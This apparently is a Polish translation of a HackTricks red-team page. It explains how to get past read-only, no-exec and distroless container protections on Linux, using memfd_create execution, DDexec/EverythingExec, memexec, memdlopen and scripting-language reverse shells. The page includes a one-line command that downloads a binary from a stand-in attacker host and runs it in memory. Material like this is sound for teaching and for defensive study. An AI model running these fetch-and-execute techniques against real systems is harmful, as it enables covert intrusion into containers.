.. | ||
ddexec.md | ||
README.md |
Ominięcie zabezpieczeń systemu plików: tylko do odczytu / brak wykonywania / Distroless
Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Jeśli interesuje Cię kariera hakerska i hakowanie niemożliwych do zhakowania rzeczy - rekrutujemy! (wymagana biegła znajomość języka polskiego, zarówno pisemna, jak i mówiona).
{% embed url="https://www.stmcyber.com/careers" %}
Filmy
W poniższych filmach znajdziesz techniki omówione na tej stronie wyjaśnione bardziej szczegółowo:
- DEF CON 31 - Badanie manipulacji pamięcią Linuxa dla Stealth i Ewazji
- Intruzje Stealth z DDexec-ng & in-memory dlopen() - HackTricks Track 2023
Scenariusz tylko do odczytu / brak wykonywania
Coraz częściej spotyka się maszyny z systemem Linux zamontowanym z ochroną systemu plików tylko do odczytu (ro), zwłaszcza w kontenerach. Jest to dlatego, że uruchomienie kontenera z systemem plików ro jest tak proste jak ustawienie readOnlyRootFilesystem: true
w securitycontext
:
apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
readOnlyRootFilesystem: true
command: ["sh", "-c", "while true; do sleep 1000; done"]
Jednak nawet jeśli system plików jest zamontowany jako ro, /dev/shm
nadal będzie zapisywalny, więc nieprawdą jest, że nie możemy nic zapisać na dysku. Jednak ten folder będzie zamontowany z ochroną no-exec, więc jeśli pobierzesz tu binarny plik, nie będziesz w stanie go wykonać.
{% hint style="warning" %}
Z perspektywy czerwonego zespołu utrudnia to pobieranie i wykonywanie binarnych plików, które nie są już w systemie (jak backdoory lub narzędzia do wyliczania, takie jak kubectl
).
{% endhint %}
Najprostsze ominięcie: Skrypty
Zauważ, że wspomniałem o binariach, możesz wykonać dowolny skrypt, o ile interpreter jest wewnątrz maszyny, jak skrypt powłoki jeśli sh
jest obecne lub skrypt pythonowy jeśli jest zainstalowany python
.
Jednak to nie wystarczy do wykonania swojego binarnego backdoora lub innych narzędzi binarnych, które mogą być potrzebne do uruchomienia.
Ominięcia pamięci
Jeśli chcesz wykonać binarny plik, ale system plików nie zezwala na to, najlepszym sposobem jest wykonanie go z pamięci, ponieważ zabezpieczenia nie mają zastosowania tam.
Ominięcie FD + exec syscall
Jeśli masz potężne silniki skryptowe wewnątrz maszyny, takie jak Python, Perl lub Ruby, możesz pobrać binarny plik do wykonania z pamięci, przechować go w deskryptorze pliku w pamięci (create_memfd
syscall), który nie będzie chroniony przez te zabezpieczenia, a następnie wywołać exec syscall
wskazując fd jako plik do wykonania.
Możesz łatwo użyć projektu fileless-elf-exec. Możesz przekazać mu binarny plik, a on wygeneruje skrypt w wskazanym języku z binarnym skompresowanym i zakodowanym w base64 z instrukcjami do dekodowania i rozpakowania go w fd utworzonym za pomocą wywołania create_memfd
syscall oraz wywołania exec syscall do jego uruchomienia.
{% hint style="warning" %}
To nie działa w innych językach skryptowych, takich jak PHP lub Node, ponieważ nie mają one domyślnego sposobu na wywołanie surowych wywołań systemowych z poziomu skryptu, więc nie można wywołać create_memfd
do utworzenia deskryptora pamięci do przechowywania binarnego pliku.
Co więcej, utworzenie zwykłego deskryptora pliku z plikiem w /dev/shm
nie zadziała, ponieważ nie będziesz mógł go uruchomić, ponieważ zastosowana zostanie ochrona no-exec.
{% endhint %}
DDexec / EverythingExec
DDexec / EverythingExec to technika, która pozwala modyfikować pamięć własnego procesu, nadpisując jego /proc/self/mem
.
Dlatego kontrolując kod asemblera, który jest wykonywany przez proces, możesz napisać shellcode i "zmienić" proces, aby wykonał dowolny arbitralny kod.
{% hint style="success" %} DDexec / EverythingExec pozwoli Ci załadować i wykonać swój własny shellcode lub dowolny binarny plik z pamięci. {% endhint %}
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
MemExec
Memexec to naturalny kolejny krok po DDexec. To zdemilitaryzowany shellcode DDexec, więc za każdym razem, gdy chcesz uruchomić inny plik binarny, nie musisz ponownie uruchamiać DDexec, możesz po prostu uruchomić shellcode memexec za pomocą techniki DDexec, a następnie komunikować się z tym demonem, aby przekazać nowe pliki binarne do załadowania i uruchomienia.
Możesz znaleźć przykład, jak użyć memexec do uruchamiania plików binarnych z odwróconym powłokiem PHP w https://github.com/arget13/memexec/blob/main/a.php.
Memdlopen
O podobnym celu do DDexec, technika memdlopen umożliwia łatwiejsze ładowanie plików binarnych do późniejszego wykonania. Może nawet pozwolić na ładowanie plików binarnych z zależnościami.
Ominięcie Distroless
Co to jest distroless
Kontenery Distroless zawierają tylko niezbędne minimalne komponenty do uruchomienia określonej aplikacji lub usługi, takie jak biblioteki i zależności czasu wykonania, ale wykluczają większe komponenty, takie jak menedżer pakietów, powłoka lub narzędzia systemowe.
Celem kontenerów Distroless jest zmniejszenie powierzchni ataku kontenerów poprzez eliminowanie zbędnych komponentów i minimalizowanie liczby podatności, które mogą być wykorzystane.
Odwrócona powłoka
W kontenerze Distroless możesz nawet nie znaleźć sh
ani bash
do uzyskania zwykłej powłoki. Nie znajdziesz również binarnych takich jak ls
, whoami
, id
... wszystko, co zazwyczaj uruchamiasz w systemie.
{% hint style="warning" %} Dlatego nie będziesz w stanie uzyskać odwróconej powłoki ani wyliczyć systemu, jak zazwyczaj robisz. {% endhint %}
Jednak jeśli skompromitowany kontener uruchamia na przykład aplikację internetową flask, to zainstalowany jest Python, więc możesz zdobyć odwróconą powłokę Pythona. Jeśli uruchamia node, możesz zdobyć odwróconą powłokę Node, podobnie z większością języków skryptowych.
{% hint style="success" %} Korzystając z języka skryptowego, możesz wyliczyć system korzystając z możliwości języka. {% endhint %}
Jeśli nie ma ochrony read-only/no-exec
, możesz wykorzystać swoją odwróconą powłokę do zapisywania swoich plików binarnych w systemie plików i wykonywania ich.
{% hint style="success" %} Jednak w tego rodzaju kontenerach te zabezpieczenia zazwyczaj istnieją, ale możesz użyć poprzednich technik wykonania w pamięci, aby je ominąć. {% endhint %}
Możesz znaleźć przykłady jak wykorzystać niektóre podatności RCE do uzyskania odwróconych powłok języków skryptowych i uruchamiania plików binarnych z pamięci w https://github.com/carlospolop/DistrolessRCE.
Jeśli jesteś zainteresowany karierą w dziedzinie hakowania i hakiem na niehakowalne - rekrutujemy! (wymagana biegła znajomość języka polskiego w mowie i piśmie).
{% embed url="https://www.stmcyber.com/careers" %}
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.